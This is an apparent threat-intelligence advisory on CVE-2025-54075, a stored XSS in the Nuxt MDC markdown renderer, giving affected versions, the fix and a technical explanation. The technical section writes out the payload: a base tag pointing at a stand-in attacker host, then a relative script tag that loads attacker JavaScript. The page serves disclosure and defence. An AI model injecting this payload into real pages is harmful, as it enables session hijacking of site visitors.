# CVE-2025-54075: Nuxt MDC stored XSS in markdown rendering via base tag

Source: https://junglewise.ai/threats/cve-2025-54075-nuxt-mdc-stored-xss-in-markdown-rendering-via-base-tag  
Publisher: Junglewise Threat Intelligence, https://junglewise.ai/threats  
Published: 2025-07-20. Updated: 2026-09-25  
License: CC BY 4.0 with a link back

CVE-2025-54075 · Severity: low · CVSS 3.1 · Published 2025-07-20

Nuxt MDC is a markdown content renderer used in Nuxt-based websites, blogs, and documentation systems. A flaw in HTML filtering allows attackers to inject a `<base>` tag in markdown that redirects subsequent relative URLs to an attacker-controlled server, enabling malicious script injection and full session hijacking for site visitors.

Technologies: [@nuxtjs/mdc (npm)](https://junglewise.ai/threats/technologies/nuxtjs-mdc). Vendors: [npm](https://junglewise.ai/threats/vendors/npm), [Nuxt](https://junglewise.ai/threats/vendors/nuxt).

## Quick answers

**Is CVE-2025-54075 exploited in the wild?** No. Junglewise Threat Intelligence has no report of CVE-2025-54075 being exploited in the wild.

**How severe is CVE-2025-54075?** Low severity, with a CVSS score of 3.1, published 20 July 2025.

**Which products and versions are affected?** @nuxtjs/mdc (npm) SEMVER:introduced=0,fixed=0.17.2; Nuxt MDC before 0.17.2.

**Is there a fix for CVE-2025-54075?** Yes. @nuxtjs/mdc (npm): upgrade to 0.17.2 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.

**How is CVE-2025-54075 attacked?** It is attacked over the network.

**Am I affected by CVE-2025-54075?** Check whether you run @nuxtjs/mdc (npm) or Nuxt MDC at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

## How to fix

- @nuxtjs/mdc (npm): upgrade to 0.17.2 or later

  ```sh
  npm install @nuxtjs/mdc@0.17.2
  ```


## Technical details

The vulnerability is a stored XSS via improper HTML attribute validation (CWE-79, CWE-80). The validateProp() function in src/runtime/parser/utils/props.ts blocks event handlers (on*) and filters href/src on anchors, but fails to validate href on `<base>` tags. When a markdown author injects `<base href="https://attacker.tld">`, subsequent relative URLs are resolved to the attacker's domain. A `<script src="/xss.js"></script>` tag following the base element then loads and executes arbitrary JavaScript from the attacker's server under the victim site's origin. The attack requires no authentication or user interaction beyond visiting a page with malicious markdown. Patched in version 0.17.2; the fix sanitizes or strips `<base>` tags entirely.

## Affected products

- Nuxt MDC before 0.17.2

## Identifiers

- CVE-2025-54075
- GHSA-cj6r-rrr9-fg82

## Timeline

- 2025-07-18: disclosed
- 2025-07-20: patched: version 0.17.2

## References

- [https://github.com/nuxt-modules/mdc/security/advisories/GHSA-cj6r-rrr9-fg82](https://github.com/nuxt-modules/mdc/security/advisories/GHSA-cj6r-rrr9-fg82)

## Related threats

- [@nuxtjs/mdc URL sanitizer bypass via SVG xlink:href and data: iframe](https://junglewise.ai/threats/cve-2026-63671-nuxtjs-mdc-url-sanitizer-bypass-via-svg-xlink-href-and-data)
- [Nuxt Markdown Components XSS in parseMarkdown via HTML entity bypass](https://junglewise.ai/threats/cve-2025-24981-nuxt-markdown-components-xss-in-parsemarkdown-via-html-entity)